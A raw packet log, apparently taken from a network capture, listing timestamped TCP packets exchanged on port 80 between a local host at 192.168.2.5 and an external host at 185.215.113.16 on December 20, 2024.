Dec 20, 2024 16:53:30.596302986 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.596350908 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.597307920 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.597412109 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.597438097 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.598391056 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.598526955 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.598537922 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.599493980 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.599539042 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.599612951 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.600537062 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.600584984 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.600630045 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.601648092 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.601701975 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.601733923 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.602705956 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.602777958 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.602837086 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.603765011 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.603869915 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.603883982 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.604867935 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.604919910 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.604948044 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.605958939 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.606005907 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.606059074 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.607053041 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.607100010 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.607178926 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.608155012 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.608227968 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.608259916 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.609183073 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.609294891 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.609337091 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.610332012 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.610390902 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.610400915 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.611407995 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.611460924 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.611514091 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.612452030 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.612494946 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.612572908 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.613605976 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.613655090 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.613667965 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.614695072 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.614759922 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.614780903 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.615725994 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.615782022 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.615839005 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.616832018 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.616884947 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.616938114 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.617861032 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.617928982 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.617969990 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.618962049 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.619033098 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.619086027 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.619992018 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.620054007 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.620137930 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.620232105 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.621164083 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.621225119 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.621304035 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.622200012 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.622252941 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.622312069 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.623354912 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.623409986 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.623428106 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.624361038 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.624411106 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.624474049 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.625435114 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.625490904 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.625524998 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.626571894 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.626620054 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.626760960 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.630440950 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.762531996 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.762638092 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.762733936 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.762979031 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.763220072 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.763264894 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.763360023 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.764291048 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.764333963 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.764404058 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.765356064 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.765453100 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.765573978 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.766580105 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.766618967 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.766634941 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.767534018 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.767601967 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.767642021 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.768627882 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.768672943 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.768731117 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.769715071 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.769804001 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.769819975 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.770800114 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.770840883 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.770899057 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.771956921 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.772027016 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.772444010 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.772958040 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.773055077 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.773073912 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.774072886 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.774184942 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.774617910 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.775307894 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.775326967 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.775528908 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.776201010 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.776242971 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.776326895 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.777331114 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.777429104 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.777544022 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.778388023 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.778561115 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.778583050 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.779464006 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.779578924 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.779640913 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.780559063 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.780642986 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.780757904 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.781680107 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.781725883 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.781817913 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.782710075 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.782758951 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.782891989 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.783895969 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.783938885 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.784976959 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.785027027 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.785027981 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.785073042 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.785983086 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.786171913 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.787067890 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.787122965 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.787122965 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.787137985 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.788192034 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.788275957 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.789226055 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.789305925 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.789305925 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.789372921 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.790339947 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.790457010 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.790833950 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.791372061 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.791492939 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.791497946 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.792586088 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.792610884 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.792889118 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.793721914 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.793965101 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.794003010 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.794718027 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.794919014 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.795005083 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.796181917 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.796195984 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.796277046 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.796819925 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.796870947 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.796940088 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.797964096 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.798048019 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.798062086 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.798970938 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.799021959 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.799076080 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.800061941 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.800201893 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.800220966 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.801175117 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.801285028 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.801317930 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.802212954 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.802254915 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.802356958 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.803298950 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.803401947 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.803432941 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.805819035 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.806647062 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.806710958 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.807678938 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.807698011 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.807709932 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.807723045 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.807737112 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.807753086 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.807792902 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.808424950 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.808474064 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.808722019 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.808774948 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.808835983 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.808847904 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.809884071 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.809976101 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.810033083 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.810900927 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.811000109 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.811009884 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.812068939 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.812123060 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.812172890 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.813121080 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.813184023 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.813304901 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.814291954 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.814369917 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.814373016 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.818470001 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.818490982 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.818504095 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.818517923 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.818520069 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.818531990 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.818547010 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.818598032 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.818598032 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.819377899 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.819453955 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.819531918 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.832986116 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.845408916 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.954997063 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.955123901 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.955163956 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.955549002 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.955636978 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.955677986 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.956861973 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.956876040 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.956923008 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.957690954 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.957813025 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.957859993 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.958781958 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.958914995 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.959026098 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.959892035 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.960007906 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.960199118 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.960937023 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.961030006 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.961818933 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.961977959 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.962141991 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.962218046 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.963126898 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.963251114 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.963299990 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.964221954 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.964304924 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.964543104 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.965483904 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.965564013 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.965812922 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.966382980 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.966476917 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.967334032 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.967479944 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.967570066 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.967719078 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.968519926 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.968683958 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.968812943 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.969769955 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.969842911 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.969899893 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.970834970 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.970954895 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.971072912 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.971894026 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.971987009 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.972031116 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.972892046 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.973011017 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.973078966 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.973968029 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.974077940 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.974123001 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.975013018 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.975177050 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.975219011 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.976264954 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.976341963 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.976392031 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.977189064 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.977277994 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.977327108 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.978374004 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.978387117 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.978492022 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.979595900 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.979608059 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.979953051 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.980540991 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.980554104 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.980633020 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.981801033 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.981813908 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.981928110 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.982712030 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.982723951 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.982764959 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.983803034 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.983814955 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.983865976 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.983865976 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.984920025 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.984931946 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:30.984977961 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:30.985965014 CET	80	49739	185.215.113.16	192.168.2.5
